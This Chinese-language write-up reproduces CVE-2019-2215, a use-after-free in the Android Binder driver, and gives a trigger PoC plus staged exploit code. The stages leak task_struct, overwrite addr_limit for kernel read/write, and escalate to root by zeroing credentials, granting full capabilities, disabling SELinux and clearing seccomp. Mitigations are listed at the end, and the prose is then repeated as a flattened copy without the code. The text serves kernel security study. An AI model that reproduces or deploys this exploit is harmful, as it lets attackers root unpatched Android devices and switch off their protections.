CVE-2019-2215复现过程记录
字数 1430 2025-08-22 12:22:36

CVE-2019-2215 Android内核提权漏洞分析与利用指南

漏洞概述

CVE-2019-2215是一个Android内核中的use-after-free漏洞,存在于Binder驱动中。该漏洞允许本地攻击者在内核上下文中执行任意代码,最终实现权限提升至root。漏洞影响Android 8.0-9.0版本,特别是使用4.4及以下内核版本的设备。

漏洞成因分析

关键结构体

漏洞涉及的关键结构体是binder_thread

struct binder_thread {
    struct binder_proc *proc;
    struct rb_node rb_node;
    struct list_head waiting_thread_node;
    int pid;
    int looper;
    bool looper_need_return;
    struct binder_transaction *transaction_stack;
    struct list_head todo;
    bool process_todo;
    struct binder_error return_error;
    struct binder_error reply_error;
    wait_queue_head_t wait;  // UAF点 (偏移0xA0)
    struct binder_stats stats;
    atomic_t tmp_ref;
    bool is_dead;
    struct task_struct *task;  // root点 (偏移0x190)
};

漏洞触发流程

  1. 使用epoll的进程调用BINDER_THREAD_EXIT结束binder线程时,会释放binder_thread结构体
  2. 程序退出或调用EPOLL_CTL_DEL时会遍历已释放结构体binder_thread中的wait链表进行删除操作
  3. 问题在于:此时访问的wait链表位于已释放的binder_thread结构体中,导致use-after-free

漏洞POC代码

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main() {
    int fd, epfd;
    struct epoll_event event = {.events = EPOLLIN};
    
    fd = open("/dev/binder0", O_RDONLY);
    epfd = epoll_create(1000);
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

漏洞利用详解

利用准备

  1. 内存布局准备

    dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, 
                                PROT_READ | PROT_WRITE, 
                                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    申请4G对齐的内存用于绕过spinlock检查

  2. 初始化管道和binder

    pipe(kernel_rw_pipe);
    binder_fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

第一阶段:泄露task_struct指针

关键步骤

  1. 使用writev重新申请到binder_thread释放的空间
  2. 通过EPOLL_CTL_DEL调用remove_wait_queue泄露wait地址
  3. 计算偏移得到task_struct指针

泄露过程代码

void leak_task_struct(void) {
    struct epoll_event event = {.events = EPOLLIN};
    epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
    
    struct iovec iovec_array[IOVEC_ARRAY_SZ];
    memset(iovec_array, 0, sizeof(iovec_array));
    
    // 构造绕过spinlock检查的数据
    iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
    iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000;
    iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base = (void*)0xDEADBEEF;
    iovec_array[IOVEC_INDX_FOR_WQ+1].iov_len = 0x1000;
    
    int pipefd[2];
    pipe(pipefd);
    fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000);
    
    pid_t fork_ret = fork();
    if (fork_ret == 0) {
        // 子进程触发UAF
        sleep(2);
        epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
        read(pipefd[0], page_buffer, sizeof(page_buffer));
        exit(0);
    }
    
    // 父进程占位
    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
    read(pipefd[0], page_buffer, sizeof(page_buffer));
    
    current_ptr = *(unsigned long*)(page_buffer + 0xe8);
}

泄露原理

  1. writev会通过rw_copy_check_uvector检查并复制iovec结构到内核空间
  2. 精心构造的iovec数组可以占位被释放的binder_thread内存
  3. EPOLL_CTL_DEL触发remove_wait_queue操作,修改iovec中的数据
  4. 通过管道通信同步父子进程操作顺序

第二阶段:覆盖addr_limit实现任意地址读写

关键步骤

  1. 类似第一阶段构造iovec数组
  2. 通过socketpair和recvmsg实现更精确的内存操作
  3. 覆盖task_struct->addr_limit为0xfffffffffffffffe

代码实现

void clobber_addr_limit(void) {
    struct epoll_event event = {.events = EPOLLIN};
    epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
    
    struct iovec iovec_array[IOVEC_ARRAY_SZ];
    memset(iovec_array, 0, sizeof(iovec_array));
    
    unsigned long second_write_chunk[] = {
        1, /* iov_len */
        0xdeadbeef, /* iov_base (already used) */
        0x8 + 2*0x10, /* iov_len (already used) */
        current_ptr + 0x8, /* next iov_base (addr_limit) */
        8, /* next iov_len (sizeof(addr_limit)) */
        0xfffffffffffffffe /* value to write */
    };
    
    // 构造iovec数据
    iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
    iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
    iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base = (void*)0xDEADBEEF;
    iovec_array[IOVEC_INDX_FOR_WQ+1].iov_len = 0x8 + 2*0x10;
    iovec_array[IOVEC_INDX_FOR_WQ+2].iov_base = (void*)0xBEEFDEAD;
    iovec_array[IOVEC_INDX_FOR_WQ+2].iov_len = 8;
    
    int socks[2];
    socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
    write(socks[1], "X", 1);
    
    pid_t fork_ret = fork();
    if (fork_ret == 0) {
        sleep(2);
        epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
        write(socks[1], second_write_chunk, sizeof(second_write_chunk));
        exit(0);
    }
    
    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    struct msghdr msg = {.msg_iov = iovec_array, .msg_iovlen = IOVEC_ARRAY_SZ};
    recvmsg(socks[0], &msg, MSG_WAITALL);
}

第三阶段:提权操作

关键步骤

  1. 修改cred结构体中的UID/GID为0
  2. 设置capabilities为全权限
  3. 禁用SELinux
  4. 处理SECCOMP限制

提权代码

void escalate() {
    uid_t uid = getuid();
    unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
    
    // 修改UID/GID为root
    for(int i=0; i<8; i++)
        kernel_write_uint(my_cred + 4 + i*4, 0);
    
    // 设置capabilities
    kernel_write_uint(my_cred + 0x24, 0); // securebits
    for(int i=0; i<3; i++)
        kernel_write_ulong(my_cred + 0x30 + i*8, 0x3fffffffffUL);
    
    // 禁用SELinux
    unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
    if(enforcing) {
        kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
    }
    
    // 处理SECCOMP
    if(prctl(PR_GET_SECCOMP) != 0) {
        kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
        kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
        kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0);
    }
    
    // 加入init命名空间
    int fd = open("/proc/1/ns/mnt", O_RDONLY);
    setns(fd, CLONE_NEWNS);
    fd = open("/proc/1/ns/net", O_RDONLY);
    setns(fd, CLONE_NEWNET);
}

内核符号获取方法

  1. 根据内核版本下载对应镜像(如Image.lz4-dtb)
  2. 解压镜像:
    lz4 -d Image.lz4-dtb Image
    
  3. 使用droidimg工具修复并提取符号:
    ./fix_kaslr_arm64 Image Image_kaslr
    ./vmlinux.py Image_kaslr > syms.txt
    
  4. 从符号表中获取关键符号的偏移量

漏洞防御与缓解

  1. 及时更新Android安全补丁
  2. 启用SELinux并保持enforcing模式
  3. 限制非特权进程访问binder驱动
  4. 启用内核地址空间随机化(KASLR)
  5. 使用Control Flow Integrity (CFI)等防护机制

总结

CVE-2019-2215是一个典型的内核use-after-free漏洞,通过精心构造的内存操作可以实现从普通权限到root权限的提升。该漏洞利用涉及多个关键技术点:

  1. 使用epoll和binder驱动触发UAF
  2. 通过writev/recvmsg实现内存占位和修改
  3. 利用进程间通信同步操作顺序
  4. 泄露内核地址并修改关键数据结构
  5. 绕过多种安全机制(SELinux, SECCOMP等)

理解该漏洞的利用过程对于内核安全研究和漏洞防御都有重要意义。

CVE-2019-2215 Android内核提权漏洞分析与利用指南 漏洞概述 CVE-2019-2215是一个Android内核中的use-after-free漏洞,存在于Binder驱动中。该漏洞允许本地攻击者在内核上下文中执行任意代码,最终实现权限提升至root。漏洞影响Android 8.0-9.0版本,特别是使用4.4及以下内核版本的设备。 漏洞成因分析 关键结构体 漏洞涉及的关键结构体是 binder_thread : 漏洞触发流程 使用epoll的进程调用 BINDER_THREAD_EXIT 结束binder线程时,会释放 binder_thread 结构体 程序退出或调用 EPOLL_CTL_DEL 时会遍历已释放结构体 binder_thread 中的wait链表进行删除操作 问题在于:此时访问的wait链表位于已释放的 binder_thread 结构体中,导致use-after-free 漏洞POC代码 漏洞利用详解 利用准备 内存布局准备 : 申请4G对齐的内存用于绕过spinlock检查 初始化管道和binder : 第一阶段:泄露task_ struct指针 关键步骤 使用 writev 重新申请到 binder_thread 释放的空间 通过 EPOLL_CTL_DEL 调用 remove_wait_queue 泄露wait地址 计算偏移得到 task_struct 指针 泄露过程代码 泄露原理 writev 会通过 rw_copy_check_uvector 检查并复制 iovec 结构到内核空间 精心构造的 iovec 数组可以占位被释放的 binder_thread 内存 EPOLL_CTL_DEL 触发 remove_wait_queue 操作,修改 iovec 中的数据 通过管道通信同步父子进程操作顺序 第二阶段:覆盖addr_ limit实现任意地址读写 关键步骤 类似第一阶段构造 iovec 数组 通过socketpair和recvmsg实现更精确的内存操作 覆盖 task_struct->addr_limit 为0xfffffffffffffffe 代码实现 第三阶段:提权操作 关键步骤 修改cred结构体中的UID/GID为0 设置capabilities为全权限 禁用SELinux 处理SECCOMP限制 提权代码 内核符号获取方法 根据内核版本下载对应镜像(如 Image.lz4-dtb ) 解压镜像: 使用droidimg工具修复并提取符号: 从符号表中获取关键符号的偏移量 漏洞防御与缓解 及时更新Android安全补丁 启用SELinux并保持enforcing模式 限制非特权进程访问binder驱动 启用内核地址空间随机化(KASLR) 使用Control Flow Integrity (CFI)等防护机制 总结 CVE-2019-2215是一个典型的内核use-after-free漏洞,通过精心构造的内存操作可以实现从普通权限到root权限的提升。该漏洞利用涉及多个关键技术点: 使用epoll和binder驱动触发UAF 通过writev/recvmsg实现内存占位和修改 利用进程间通信同步操作顺序 泄露内核地址并修改关键数据结构 绕过多种安全机制(SELinux, SECCOMP等) 理解该漏洞的利用过程对于内核安全研究和漏洞防御都有重要意义。